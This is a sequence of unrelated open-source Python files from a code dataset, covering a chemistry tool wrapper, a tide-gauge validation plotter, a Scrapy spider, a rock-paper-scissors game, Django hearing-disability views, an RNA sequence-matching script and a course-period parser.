expertLevel=LEVEL_ADVANCED,\n\t\t\thelp='Run additional SASA, PSA calculations using an alternative class definition.')\n\t\tform.addParam('useAltprobe', BooleanParam, default=False, label='Use alternative probe:', expertLevel=LEVEL_ADVANCED,\n\t\t\thelp='Run additional SASA, PSA calculations using an alternative probe radii (1.4A by default).')\n\t\tform.addParam('altprobe', FloatParam, default=1.4, label='Alternative probe:', expertLevel=LEVEL_ADVANCED, condition='useAltprobe==True')\n\t\tform.addParam('recap', BooleanParam, default=False, label='Replace CombiGlide with methyl:', expertLevel=LEVEL_ADVANCED,\n\t\t\thelp='Replace the CombiGlide functional group with a methyl group prior to processing.\\n'\n\t\t\t\t'When used in the CombiGlide reagent-preparation process, gives properties for the \\'naked sidechain\\'.')\n\t\t\n\t\t# Utils params\n\t\tform.addParam('cleanTmps', BooleanParam, default=True, label='Clean temporary files: ', expertLevel=LEVEL_ADVANCED,\n\t\t\thelp='Clean temporary files after finishing the execution.\\nThis is useful to reduce unnecessary disk usage.')\n\n\t# --------------------------- INSERT steps functions --------------------\n\tdef _insertAllSteps(self):\n\t\t\"\"\" This function inserts all steps functions that will be run when running the protocol. \"\"\"\n\t\t# Getting common command string for every call\n\t\tbaseCommand = self.getQikpropBaseCmd()\n\n\t\t# For every SmallMolecule in the input set, build complete command\n\t\tdeps = []\n\t\tfor molecule in self.getInputFiles():\n\t\t\tdeps.append(self._insertFunctionStep('runQikpropStep', baseCommand, molecule))\n\t\t\n\t\t# Clean tmp files if selected\n\t\tif self.cleanTmps.get():\n\t\t\tself._insertFunctionStep('cleanTmpFiles', prerequisites=deps)\n\t\t\n\t\t# Create output\n\t\tself._insertFunctionStep('createOutputStep', prerequisites=deps)\n\n\tdef runQikpropStep(self, baseCommand, molecule):\n\t\t\"\"\" This function runs the schrodinger binary file with the given params. \"\"\"\n\t\tself.runJob(baseCommand, f' {molecule}', cwd=self._getExtraPath())\n\t\n\tdef cleanTmpFiles(self):\n\t\t\"\"\" This function removes the temporary files related to the execution of qikprop for all the molecules. \"\"\"\n\t\t# Creating empty list to store all tmp files for all molecules\n\t\ttmpFileList = []\n\n\t\t# Generating tmp files for each molecule and adding them to the list\n\t\tfor molecule in self.getInputFiles():\n\t\t\tmoleculeBasePath = os.path.join(os.path.abspath(self._getExtraPath()), os.path.splitext(os.path.basename(molecule))[0])\n\t\t\ttmpFileList.append(moleculeBasePath + '.log')\n\t\t\ttmpFileList.append(moleculeBasePath + '.out')\n\t\t\ttmpFileList.append(moleculeBasePath + '-out.sdf')\n\t\t\ttmpFileList.append(moleculeBasePath + '.qpsa')\n\t\t\n\t\t# Deleting all tmp files\n\t\tremoveElements(tmpFileList)\n\t\n\tdef createOutputStep(self):\n\t\t\"\"\" This function generates the output of the protocol. \"\"\"\n\t\t# Obtaining input small molecules\n\t\tinputMolecules = self.inputSmallMolecules.get()\n\n\t\t# Creating output small molecule set\n\t\toutputSmallMolecules = inputMolecules.createCopy(self._getPath(), copyInfo=True)\n\n\t\t# Add analyzed properties for each molecule\n\t\tfor molecule in inputMolecules:\n\t\t\toutMol = self.addCSVProperties(molecule)\n\t\t\toutputSmallMolecules.append(outMol)\n\t\t\n\t\t# Generate output\n\t\tself._defineOutputs(**{OUTPUTATTRIBUTE: outputSmallMolecules})\n\n\t# --------------------------- INFO functions --------------------------------------------\n\tdef _validate(self):\n\t\t\"\"\"\n\t\tThe function of this hook is to add some validation before the protocol\n\t\tis launched to be executed. It should return a list of errors. If the list is\n\t\tempty the protocol can be executed.\n\t\t\"\"\"\n\t\terrors = []\n\n\t\t# Checking if MPI is selected (only threads are allowed)\n\t\tif self.numberOfMpi > 1:\n\t\t\terrors.append('MPI cannot be selected, because Scipion is going to drop support for it. Select threads instead.')\n\t\t\n\t\t# Checking if altprobe is used, and, if so, that the value is 0 or greater\n\t\tif self.useAltprobe.get() and self.altprobe.get() < 0:\n\t\t\terrors.append('Altprobe has to be a number equal or greater than 0.')\n\t\t\n\t\t# Checking if the number of elements of the input set is at least 1\n\t\tif len(self.inputSmallMolecules.get()) < 1:\n\t\t\terrors.append('The input set of molecules must at least contain 1 molecule.')\n\n\t\treturn errors\n\t\n\tdef _summary(self):\n\t\t\"\"\"\n\t\tThis method dumps the contents of the .warning files produced by Qikprop into the summary text.\n\t\t\"\"\"\n\t\tsummary = []\n\n\t\t# Getting a list of all .warning files\n\t\twarningFiles = []\n\t\tfor extraFile in os.listdir(os.path.abspath(self._getExtraPath())):\n\t\t\tif extraFile.endswith(\".warning\"):\n\t\t\t\twarningFiles.append(os.path.abspath(self._getExtraPath(extraFile)))\n\n\t\t# Read each .warning file and dump the contents into summary\n\t\tfor warningFile in warningFiles:\n\t\t\twith open(warningFile) as wf:\n\t\t\t\tsummary.append(wf.read())\n\n\t\treturn summary\n\t\n\t# --------------------------- Utils functions --------------------\n\tdef getQikpropBaseCmd(self) -> str:\n\t\t\"\"\" This function returns the command string to run qikprop. \"\"\"\n\t\t# Command starts with the executable file\n\t\tcommand = self.getQikpropBinaryFile()\n\n\t\t# Add permanent flags\n\t\tcommand += f' {self.getFastFlag()} {self.getSimFlag()} {self.getNeutFlag()} -LOCAL'\n\n\t\t# Add optional flags\n\t\tcommand += self.getNSim() + self.getAltClassFlag() + self.getAltProbeFlag() + self.getRecapFlag()\n\n\t\t# Return formatted command string\n\t\treturn command\n\n\tdef getQikpropBinaryFile(self) -> str:\n\t\t\"\"\" This function returns the location for the Schrodinger qikprop binary file. \"\"\"\n\t\t# Getting path to the binary\n\t\tbinaryPath = os.path.join(Plugin.getVar('SCHRODINGER_HOME'), 'qikprop')\n\n\t\t# If path exists, return it\n\t\tif os.path.exists(binaryPath):\n\t\t\treturn binaryPath\n\t\t\n\t\t# If path was not found, raise exception\n\t\traise FileNotFoundError(redStr(f\"Path \\\"{binaryPath}\\\" not found. Is variable SCHRODINGER_HOME properly set within scipion.conf file?\"))\n\t\n\tdef getInputFiles(self) -> List[str]:\n\t\t\"\"\" This function returns a list with the full path to each one of the input files. \"\"\"\n\t\treturn [os.path.abspath(molecule.getFileName()) for molecule in self.inputSmallMolecules.get()]\n\t\n\tdef getFastFlag(self) -> str:\n\t\t\"\"\" This function returns the flag string corresponding to the fast flag param. \"\"\"\n\t\treturn '-fast' if self.fast.get() else '-nofast'\n\n\tdef getSimFlag(self) -> str:\n\t\t\"\"\" This function returns the flag string corresponding to the sim flag param. \"\"\"\n\t\treturn '-sim' if self.sim.get() else '-nosim'\n\t\n\tdef getNSim(self) -> str:\n\t\t\"\"\" This function returns the flag string corresponding to the nsim flag param. \"\"\"\n\t\treturn f' -nsim {self.nsim.get()}' if self.sim.get() else ''\n\t\n\tdef getNeutFlag(self) -> str:\n\t\t\"\"\" This function returns the flag string corresponding to the neut flag param. \"\"\"\n\t\treturn '-neut' if self.neut.get() else '-noneut'\n\t\n\tdef getAltClassFlag(self) -> str:\n\t\t\"\"\" This function returns the flag string corresponding to the altclass flag param. \"\"\"\n\t\treturn ' -altclass' if self.altclass.get() else ''\n\t\n\tdef getAltProbeFlag(self) -> str:\n\t\t\"\"\" This function returns the flag string corresponding to the altprobe flag param. \"\"\"\n\t\treturn f' -altprobe {self.altprobe.get()}' if self.useAltprobe.get() else ''\n\t\n\tdef getRecapFlag(self) -> str:\n\t\t\"\"\" This function returns the flag string corresponding to the sim recap param. \"\"\"\n\t\treturn ' -recap' if self.recap.get() else ''\n\n\tdef addCSVProperties(self, molecule : SmallMolecule) -> SmallMolecule:\n\t\t\"\"\" This function adds the properties dumped by Qikprop in a CSV file for a given molecule. \"\"\"\n\t\t# Creating new molecule that will be a clone of the input one, with extra attributes\n\t\toutputMolecule = molecule.clone()\n\n\t\t# Getting CSV file path\n\t\tcsvFile = os.path.splitext(os.path.abspath(self._getExtraPath(os.path.basename(molecule.getFileName()))))[0] + '.CSV'\n\t\tif os.path.isfile(csvFile):\n\t\t\twith open(csvFile, mode='r') as attrFile:\n\t\t\t\trows = list(csv.reader(attrFile))\n\n\t\t\t\t# If number of headers does not match number of row columns, values will be empty\n\t\t\t\t# thus, not storing them. Also discard csv if it contains less than 2 columns (1st is id)\n\t\t\t\tif len(rows[0]) != len(rows[1]) or len(rows[1]) < 2:\n\t\t\t\t\treturn outputMolecule\n\t\t\t\t\n\t\t\t\t# Setting info into output molecule\n\t\t\t\tfor header, value in zip(rows[0], rows[1]):\n\t\t\t\t\theader = header.replace('.', '_') # Dots must be replaced with underscore to avoid errors\n\t\t\t\t\tvalue = self.getCSVTextValue(value)\n\t\t\t\t\tif header != 'molecule':\n\t\t\t\t\t\tsetattr(outputMolecule, header, value)\n\t\t\t\n\t\treturn outputMolecule\n\n\tdef getCSVTextValue(self, text : str) -> Union[Integer, Float, String, None]:\n\t\t\"\"\"\n\t\tThis function returns the value of the given text in the appropiate data type.\n\t\tSupported values are int, float, and str.\n\t\t\"\"\"\n\t\t# If string is empty, return None\n\t\tif not text:\n\t\t\treturn None\n\t\t\n\t\t# If all characters are a number, it must be an integer\n\t\tif text.isnumeric():\n\t\t\treturn Integer(text)\n\t\t\n\t\t# Try to convert to float.\n\t\t# If possible, it is float\n\t\t# If not, it is an str\n\t\ttry:\n\t\t\treturn Float(text)\n\t\texcept ValueError:\n\t\t\treturn String(text)\n","repo_name":"scipion-chem/scipion-chem-schrodingerScipion","sub_path":"pwchemSchrodinger/protocols/protocol_qikprop.py","file_name":"protocol_qikprop.py","file_ext":"py","file_size_in_byte":12567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21929515424","text":"#!/usr/bin/env python 3.5.2\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nDescription:\r\n \r\nInput(s):\r\nOutput(s):\r\n\r\n@author: slawler@dewberry.com\r\nCreated on Sun Oct 23 18:10:24 2016\r\n\"\"\"\r\n# In[]:\r\n#------------Load Python Modules--------------------#\r\nimport matplotlib.pyplot as plt\r\nimport fileinput\r\nimport datetime\r\nimport pandas as pd\r\nimport os\r\nimport requests\r\nfrom scipy.interpolate import interp1d\r\n\r\n# In[]:\r\n#------------------------------------User Inputs\r\n\r\nroot_dir = r'C:\\Users\\student.W7JF4Z7V1\\Desktop\\Arslaan ADCSWAN\\Output\\Hstart_Mfinal'\r\n\r\nadcirc_file = 'fort.61'\r\n\r\nstart, freq = \"09-2015-20 18:06\",\"360s\" #---Date Format: %m-%Y-%d %H:%M\r\n\r\nnodes = {'38':{'8638863':[]},'27':{'8632200':[]},'31':{'8636580':[]}}\r\n\r\nnoaa_time_step = '6T'\r\n\r\n#--NOAA API https://tidesandcurrents.noaa.gov/api/\r\ndatum = \"msl\" #\"NAVD\" #Datum\r\nunits = \"metric\" #Units\r\ntime_zone = \"gmt\" #Time Zone\r\nfmt = \"json\" #Format\r\nurl = 'http://tidesandcurrents.noaa.gov/api/datagetter'\r\nproduct = 'water_level' #Product\r\n\r\n\r\n# In[]:\r\n#------------------------------------Read file & Extract Time Series Data\r\n\r\nf = os.path.join(root_dir,adcirc_file)\r\n\r\nstations = dict()\r\nfor n in nodes:\r\n for key in nodes[n]:\r\n stations[n]= key\r\n\r\nfor line in fileinput.input(f):\r\n n = line.strip().split(' ')[0]\r\n if n in nodes:\r\n data = line.strip().split()[1]\r\n nodes[n][stations[n]].append(float(data))\r\n periods = len(nodes[n][stations[n]])\r\n\r\nfor n in nodes: #---This is sloppy, we can improve this: we just need the lenght of the array\r\n for key in nodes[n]:\r\n period = len(nodes[n][key]) \r\n \r\n# In[]:\r\n#---------------------Ping NOAA API for Validation Data,Create NOAA Dataframe\r\n\r\nnoaa = pd.DataFrame()\r\ngages = dict()\r\n\r\nfirst = datetime.datetime.strptime(start,\"%m-%Y-%d %H:%M\" )\r\nlast = pd.date_range(first,periods = period, freq=freq)[-1]\r\n \r\nfor n in nodes:\r\n for key in nodes[n]:\r\n g = int(key)\r\n \r\n t0 = first.strftime('%Y%m%d %H:%M')\r\n t1 = last.strftime('%Y%m%d %H:%M')\r\n api_params = {'begin_date': t0, 'end_date': t1,\r\n 'station': g,'product':product,'datum':datum,\r\n 'units':units,'time_zone':time_zone,'format':fmt,\r\n 'application':'web_services' }\r\n \r\n pred=[];obsv=[];t=[]\r\n\r\n try:\r\n r = requests.get(url, params = api_params)\r\n jdata =r.json()\r\n \r\n for j in jdata['data']:\r\n t.append(str(j['t']))\r\n obsv.append(str(j['v']))\r\n pred.append(str(j['s']))\r\n colname = str(g) \r\n noaa[colname]= obsv\r\n noaa[colname] = noaa[colname].astype(float)\r\n gages[jdata['metadata']['id']]=jdata['metadata']['name']\r\n except:\r\n print(g,'No Data') \r\n \r\nidx = pd.date_range(first,periods = len(noaa.index), freq=noaa_time_step) \r\nnoaa = noaa.set_index(idx) \r\n \r\n##################################--MAKE CHANGES HERE--###################### #, 'oooo':3\r\n#---Instructions:\r\n\r\n#-For each station, enter the datum shift value\r\ndatum_dict = {'8632200':0.146,'8638863':0.075,'8636580':0.073}\r\n\r\nadcirc = pd.DataFrame()\r\n\r\ndf = noaa.merge(adcirc, how='outer', left_index=True, right_index=True)\r\n\r\nfor key in datum_dict: \r\n if key in noaa:\r\n df[key] = df[key]-datum_dict[key]\r\n else:\r\n print('Key not found: ',key)\r\n \r\n# In[]:\r\n#--------------------------Create ADCIRC DataFrame\r\n\r\nadcirc = pd.DataFrame()\r\n\r\nfor key in nodes:\r\n adcirc[key]=nodes[key][stations[key]] \r\n\r\nadcirc.replace(to_replace=-99999.000000,value=0,inplace=True)\r\nadc_idx = pd.date_range(first,periods = period, freq=freq)\r\n\r\nadcirc = adcirc.set_index(adc_idx)\r\n \r\n# In[]:\r\n#-------------------------Join ADCIRC & NOAA Dataframes, Resample ADCIRC values\r\n\r\ndf = df.merge(adcirc, how='outer', left_index=True, right_index=True)\r\n\r\nfor n in nodes:\r\n df[n] = df[n].interpolate()\r\n \r\n \r\n# In[]:\r\n#--------------------------Plot Results for Each Station \r\n \r\nfor n in nodes:\r\n for key in nodes[n]:\r\n df.plot(x = df.index, y = [n,key])\r\n plt.title(gages[key])\r\n plt.grid()\r\n print('\\nPlotting Adcirc Station {} for gage {}, {}:'.format(n,key, gages[key])) \r\n\r\n \r\n\r\n\r\n\r\n","repo_name":"slawler/CoastalModeling","sub_path":"validation_plotter.py","file_name":"validation_plotter.py","file_ext":"py","file_size_in_byte":4380,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"3896697010","text":"# -*- coding: utf-8 -*-\n\nimport calendar, datetime, logging, os\n\nimport scrapy\n\nfrom scrapy.utils.log import configure_logging\n\n\nclass RisseSpider(scrapy.Spider): \n ''' Abstract base class for scraping Ratsinformationssysteme. '''\n\n name = \"abstract\"\n\n def __init__(self, root=\"documents\", stadt=None, url=None, year=None,\n month=None, overwrite=\"False\", *a, **kw):\n ''' Initialization:\n root:: directory path were the results are stored,\n stadt:: city that is to be crawled,\n url:: url of the target Ratsinformationssystem,\n year, month:: year and month to be scraped,\n overwrite:: flag determines if existing results are overwritten'''\n\n super(RisseSpider, self).__init__(*a, **kw)\n\n self.root, self.year, self.month, self.stadt = root, year, month, stadt\n self.overwrite, self.start_urls = bool(overwrite), [url]\n\n now = datetime.datetime.now()\n timestamp = '-'.join([str(now.year), str(now.month).zfill(2), str(now.day).zfill(2), str(now.hour).zfill(2), str(now.minute).zfill(2), str(now.second).zfill(2)])\n\n log_name = self.stadt + timestamp + '.log'\n configure_logging({\"LOG_FILE\": log_name})\n\n # read in Gremium mappings to abbreviations\n map_path = os.path.join('risse', 'spiders', self.stadt + '.txt')\n self.mapping = self.parse_mapping(map_path)\n\n def save_file(self, path, content, is_html):\n '''path:: target path where content should be saved,\n content:: either binary PDF or HTML text,\n is_html is True if a HTML should be saved and False for PDF'''\n\n descriptor = 'w' if is_html else 'wb'\n message = 'HTML' if is_html else 'PDF'\n \n # if overwrite or the path doesn't exist and there is content, write the file\n if content is not None and (self.overwrite or not os.path.isfile(path)): \n with open(path, descriptor) as f:\n f.write(content)\n logging.info('Saving %s %s', message, path)\n\n def save_pdf(self, response):\n self.save_file(response.meta['path'], response.body, False)\n\n def create_directories(self, path):\n if not os.path.isdir(path):\n os.makedirs(path) \n\n # checkout if i can move urljoin in here!\n # it would be better to accept a dict of kwargs\n def build_request(self, url, fct, path, data=None):\n if data:\n request = scrapy.FormRequest(url, formdata=data, callback=fct)\n else:\n request = scrapy.Request(url, callback=fct)\n request.meta['path'] = path \n \n return request \n\n def parse_mapping(self, path):\n '''path is the path to the mapping of Gremium name to an abbreviation\n for the given city\n returns a dictionary {GREMIUM : ABBREVIATION} '''\n\n mapping = {}\n\n with open(path, 'r') as f:\n for line in f.readlines():\n key, short = line.split('=')\n mapping[key] = short\n\n return mapping\n\n def get_dates(self, year, month):\n ''' Find the date range for the given year and month for parsing\n Sitzungen in between. If only year is given, return 1.1.YEAR, 31.12.YEAR.\n If additionally a month is given, return 1.MONTH.YEAR, LAST_DAY.MONTH.YEAR.'''\n\n if not month:\n return \"01.01.\" + year, '31.12.' + year\n else:\n last_day = str(calendar.monthrange(int(year), int(month))[1]).zfill(2)\n month = month.zfill(2)\n\n return \"01.\" + month + \".\" + year, last_day + '.' + month + \".\" + year\n \n","repo_name":"JoBergs/risse","sub_path":"risse/spiders/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41789839232","text":"import random\nimport re\n\n#body of main function of game\n#telo hlavnej funkcie hry\n\nrespons = ['yes', 'no']\n\ndef check_status():\n odpoved = [\"yes\", \"no\"]\n\n #spustenie hry\n #start of the game\n while True:\n try:\n nova_hra = input(\"Wanna play again? (yes or no): \")\n\n #Zistenie co pouzil pouzivatel\n #Check user input\n if nova_hra.lower() == \"yes\":\n return True\n else:\n print(\"Thanks for playing!\")\n exit()\n #zachytenie chyby\n #catch error\n except ValueError as err:\n print(err)\n\n#telo hry\n#body of game\ndef hra():\n play = True\n\n while play:\n print(\"Rock, Paper, Scissors\")\n\n #get user input\n #ziskaj uzivatelsky vstup\n pouzivatel = input(\"Choose your weapon traverse: [R]ock, [P]aper or [S]cissors: \")\n\n #check if input is valid\n #zisti ci vstup je vhodny\n if not re.match(\"[SsRrPp]\", pouzivatel):\n print(\"Please use only letter: \")\n print(\"[R]ock, [P]aper or [S]cissors\")\n continue\n\n print(\"You chose: \",pouzivatel)\n print(\"A fine weapon indeed!\")\n\n #Bot si vyberie moznosti s ktorymi bude hrat\n #Choosing the weapon for bot\n moznosti = ['R', 'P', 'S']\n bot_moznosti = random.choice(moznosti)\n\n print(\"Lets see if it can beat my choise: \",bot_moznosti)\n\n #Urcenie vytaza v hre\n #Choosing winconditions\n if bot_moznosti == pouzivatel.upper():\n print(\"Tie!\")\n play = check_status()\n elif bot_moznosti == \"R\" and pouzivatel.upper() == 'S':\n print(\"Rock beats scissors. I win!\")\n play = check_status()\n elif bot_moznosti == \"S\" and pouzivatel.upper() == 'P':\n print(\"Scissors beat paper. I win!\")\n play = check_status()\n elif bot_moznosti == \"P\" and pouzivatel.upper() == \"R\":\n print(\"Paper beat scissors. I win!\")\n play = check_status()\n else:\n print(\"You win!\")\n play = check_status()\n\n\n\nif __name__ == \"__main__\":\n print(\"Hello world\")\n hra()\n\n","repo_name":"JakubDanihel/Rock_paper_scissors","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6049934410","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\nimport json\nfrom .models import *\nfrom django.views.decorators.csrf import csrf_exempt\n\n\n# Create your views here.\ndef index(request):\n\treturn render(request,\"chart.html\")\n\n\n@csrf_exempt\ndef HearingCalculate(request):\n\ttry :\n\t\tif request.method == \"POST\":\n\t\t\tprint(request.body)\n\n\t\t\tbody = json.loads(request.body.decode('utf-8'))\n\t\t\t\n\t\t\tleft_pta = body['left_pta']\n\t\t\tright_pta = body['right_pta']\n\t\t\tname = body['name']\n\t\t\tage = body['age']\n\t\t\tgender = body['gender']\n\n\t\t\tif not left_pta or not right_pta or not name or not age or not gender:\n\t\t\t\tdata = {\n\t\t\t\t\t\"success\":False,\n\t\t\t\t\t\"message\":\"Enter all the fields\"\n\t\t\t\t}\n\n\t\t\t\treturn JsonResponse(data,safe=False)\n\n\t\t\tleft_pta_obj = Hearing.objects.get(pta=left_pta)\n\t\t\tright_pta_obj = Hearing.objects.get(pta=right_pta)\n\n\t\t\tleft_percentage = left_pta_obj.percentage\n\t\t\tright_percentage = right_pta_obj.percentage\n\n\t\t\tif left_pta>=right_pta:\n\t\t\t\tbetter_ear = left_percentage\n\t\t\t\tpoorer_ear = right_percentage\n\t\t\telse:\n\t\t\t\tbetter_ear = right_percentage\n\t\t\t\tpoorer_ear = left_percentage\n\n\t\t\tpercentage_disability = (better_ear * 5 + poorer_ear)/6\n\t\t\tpercentage_disability = round(percentage_disability,2)\n\n\t\t\t\n\n\t\t\tdoctor_user_obj = DoctorUser.objects.create(\n\t\t\t\tname=name,\n\t\t\t\tage=age,\n\t\t\t\tgender=gender,\n\t\t\t\tpercentage=percentage_disability\n\t\t\t\t)\n\n\t\t\tdata = {\n\t\t\t\t\"success\" : True,\n\t\t\t\t\"percentage_disability\" : percentage_disability\n\t\t\t}\n\n\t\t\treturn JsonResponse(data,safe=False)\t\n\t\t\n\t\telse:\n\n\t\t\tdata = {\n\t\t\t\"success\" : False,\n\t\t\t\"message\" : \"Invalid request\"\n\t\t\t}\t\t\n\n\t\t\treturn JsonResponse(data,safe=False)\n\texcept Exception as e:\n\t\tprint(str(e))\n\t\tdata = {\n\t\t\"success\" : False,\n\t\t\"message\" : \"An error occured\"\n\t\t}\n\n\t\treturn JsonResponse(data,safe=False)\t\t\n\ndef chart(request):\n\ttry:\n\t\tmale_obj = DoctorUser.objects.filter(gender=\"Male\")\n\t\tfemale_obj = DoctorUser.objects.filter(gender=\"Female\")\n\t\tmale_list = []\n\t\tfemale_list = []\n\n\t\tfor obj in male_obj:\n\t\t\tmale_list.append(int(obj.percentage))\n\n\t\tfor obj in female_obj:\n\t\t\tfemale_list.append(int(obj.percentage))\t\n\n\t\treturn render(request,\"index.html\", {\"male\" : male_list , \"female\": female_list})\t\n\t\n\texcept Exception as e:\n\t\tprint(str(e))\n\t\tdata = {\n\t\t\t\"success\":False,\n\t\t\t\"message\":\"An error occured\"\n\t\t}\n\n\t\treturn JsonResponse(data,safe=False)\t\t\n\t\ndef AgeChart(request):\n\ttry:\n\t\tif request.method == \"GET\":\n\t\t\tage_20 = DoctorUser.objects.filter(age__lte=20).count()\n\t\t\tage_20_30 = DoctorUser.objects.filter(age__range=(20,30)).count()\n\t\t\tage_30_40 = DoctorUser.objects.filter(age__range=(30,40)).count()\n\n\t\t\tage_list = [age_20,age_20_30,age_30_40]\n\n\t\t\tdata = {\n\t\t\t\t\"success\":True,\n\t\t\t\t\"age_list\" : age_list\n\t\t\t}\n\n\t\t\treturn JsonResponse(data,safe=False)\n\t\telse:\n\t\t\t\n\t\t\tdata = {\n\t\t\t\t\"success\" : False,\n\t\t\t\t\"message\" : \"Invalid request\"\n\t\t\t}\n\n\t\t\treturn JsonResponse(data,safe=False)\t\n\n\texcept Exception as e:\n\t\tprint(str(e))\n\n\t\tdata = {\n\t\t\t\"success\":False,\n\t\t\t\"message\":\"An error occured\"\n\t\t}\n\n\t\treturn JsonResponse(data,safe=False)\t","repo_name":"shreyanshs7/CodeUtsava_ATeamWithNoName_Heath-Boat","sub_path":"hearing/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12104352472","text":"import csv\nimport regex\nfrom random import shuffle\nfrom itertools import permutations, product\nimport statistics\nfrom tqdm import tqdm\nimport gc\n\nsequenceMatch = {\n 'A': 'T',\n 'T': 'A',\n 'G': 'C',\n 'C': 'G'\n}\n\nwobbleMatch = {\n 'A': 'T',\n 'T': '[AG]',\n 'G': '[CT]',\n 'C': 'G'\n}\n\n\ndef bruteforce(charset, length):\n return (''.join(candidate) for candidate in product(charset, repeat=length))\n\n\nclass SequenceUnit(object):\n def __init__(self, operon, transunit, codingstrand, abortseq325, codingseq523, abortivelength):\n self.operon = operon\n self.transUnit = transunit\n self.codingStrand = codingstrand\n self.abortSeq325 = abortseq325[len(abortseq325) - abortivelength:]\n self.abortiveLength = abortivelength\n self.codingSeq523 = codingseq523\n self.baseDistribution = {base: self.codingSeq523.count(base) for base in ('A', 'T', 'G', 'C')}\n self.trueMatches = []\n self.scrambleMatches = []\n self.numScrambles = 0\n\n def findTrueMatches(self):\n self.trueMatches = self._findMatches(self.abortSeq325)\n\n def scrambleMatch(self):\n maxIterations = 1000\n permutationsList = list(permutations(self.abortSeq325))\n shuffle(permutationsList)\n permutationsList = permutationsList[:maxIterations]\n self.numScrambles = maxIterations\n self.scrambleMatches.clear()\n for i in range(maxIterations):\n try:\n scrambledAbortive = ''.join(permutationsList[i])\n except IndexError:\n self.numScrambles = i\n break\n else:\n scrambleMatches = self._findMatches(scrambledAbortive)\n self.scrambleMatches.append(len(scrambleMatches))\n\n def _findMatches(self, abortseq325):\n bindSiteSeq523 = ''.join([wobbleMatch[base] for base in abortseq325])\n return regex.findall(bindSiteSeq523, self.codingSeq523, pos=len(abortseq325), overlapped=True)\n\n def __str__(self):\n return \" \".join([self.operon, self.transUnit, self.codingStrand, str(self.abortiveLength), self.abortSeq325,\n str(self.numScrambles), str(statistics.mean(self.scrambleMatches)),\n str(statistics.median(self.scrambleMatches)), str(statistics.stdev(self.scrambleMatches)),\n str(len(self.trueMatches))])\n\n\nabortiveLength = 4\n\nwith open('allSequences15', 'r') as seqCSV:\n seqReader = csv.reader(seqCSV, delimiter=' ')\n seqUnits = [SequenceUnit(*row, abortiveLength) for row in seqReader]\n for seqUnit in tqdm(seqUnits):\n seqUnit.findTrueMatches()\n seqUnit.scrambleMatch()\n gc.collect()\n\nwith open('scrambleResultsWobble{al}'.format(al=abortiveLength), 'w') as outFile:\n outFile.write('operon transUnit codingStrand abortiveLength abortSeq325 numScrambles scrambleMean scrambleMedian scrambleStdev numTrueMatches\\n')\n for seqUnit in seqUnits:\n outFile.write(str(seqUnit))\n outFile.write('\\n')\n","repo_name":"thekugelmeister/AbortiveRNA","sub_path":"sourceCode/scrambledAbortives/scrambledSearch.py","file_name":"scrambledSearch.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32180040359","text":"\"\"\" period.py\n\nAuthor: Jacob Komissar\n\nDate: 2016-04-12\n\nClass to represent periods.\n\nThis class' participation in the parsing process is limited to extracting its\nown string data from a meeting json and reformatting some of the strings.\n\n\"Lab\" refers to any non-central period of a course, including labs, conferences,\nand any other\n\nStyle note:\nWhere the schedb xml uses hyphens in attribute names, I use camelCase for the\nmatching variables here.\n\"\"\"\nfrom time import strftime, strptime\n\n\nclass Period(object):\n def __init__(self, _type, instructor, meeting, crn=''):\n # List sub-crns next to portion of class.\n self.type = _type # type can not be modified\n # Known possible values: Lecture, Lab, Conference, Web\n\n professor = instructor[\"name\"] # [\"id\"] also works\n professor_email = instructor[\"email\"] # May be None\n self.professor = professor.split(\",\")[0] # Last name only*\n self.professor_sort_name = professor\n if professor == \"Not Assigned\":\n self.professor_email = \"N/A\"\n elif professor_email:\n self.professor_email = professor_email\n else:\n self.professor_email = \"look@it.up\"\n\n # TODO: Concatenating CRN to room number isn't the best solution, but it's the best I've got right now.\n location = meeting[\"location\"].split(\" \") + ([str(crn)] if crn else [])\n self.building = location[0]\n self.room = (\" \".join(location[1:]) if location[2:] else \"?\")\n # The test uses [2:] because attaching the crn nearly guaranteses [1:]\n\n self.days = self.fix_days(meeting[\"daysRaw\"])\n self.starts = self.fix_time(meeting[\"startTime\"]) # , default=\"7:50AM\")\n self.ends = self.fix_time(meeting[\"endTime\"]) # , default=\"7:50AM\")\n\n # DONE: Deal with missing information more elegantly, esp. in Period.\n # Poorly deal with missing information.\n if meeting[\"location\"] is None:\n self.building = \"?\"\n self.room = str(crn) if crn else \"?\"\n\n if not meeting[\"daysRaw\"]:\n self.days = \"?\"\n\n def __str__(self):\n string = ['']\n stringlist = [str(s) for s in string]\n return ''.join(stringlist)\n\n @staticmethod\n def fix_days(raw_days):\n \"\"\" Parse a list of days in the format \"MTWRF\" into the format\n \"mon,tue,wed,thu,fri\".\n\n @param raw_days: A string of single-letter day abbreviations.\n @return: A string of comma-separated three-letter day abbreviations.\n \"\"\"\n timetable = {'M': 'mon', 'T': 'tue', 'W': 'wed', 'R': 'thu', 'F': 'fri'}\n days = []\n for day in raw_days:\n try:\n days.append(timetable[day])\n except KeyError: # a nonsense day was in the json\n # self.professor += \"[ERROR: bad day \" + day + \"]\"\n pass\n return ','.join(days)\n\n @staticmethod\n def fix_time(time, *, default=\"12:00PM\"):\n \"\"\" Parse a time in \"%H%M\" format to \"%I:%M%p\" format.\n\n The default should always be specified.\n\n Examples:\n 930 -> \"9:30AM\"\n 2200 -> \"10:00PM\"\n 31023-> \"?\"\n\n @param time: An integer representation of a time in 24-hour format.\n @param default: The value to use in the event of an error.\n @return: A formatted time string or default.\n \"\"\"\n try:\n return strftime(\"%I:%M%p\", strptime(str(time), \"%H%M\")).lstrip(\"0\")\n except ValueError: # time didn't match format string\n # self.professor += \" [ERROR: bad time \" + str(time) + \"]\"\n return default\n # Potential 